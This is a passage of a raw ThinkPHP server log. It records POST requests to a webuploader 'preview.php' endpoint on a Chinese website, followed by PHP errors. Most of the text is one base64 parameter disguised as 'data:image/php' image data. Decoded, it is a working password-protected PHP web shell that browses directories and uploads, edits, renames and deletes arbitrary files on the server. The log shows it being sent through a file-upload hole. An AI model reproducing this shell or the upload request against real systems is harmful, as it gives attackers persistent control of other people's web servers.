'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:59+08:00 ] 116.213.36.234 POST www.51tianwei.com/jquery/UI/H-ui.admin/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002945s] [吞吐率:339.56req/s] [内存消耗:196.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'jquery', 2 => 'UI', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 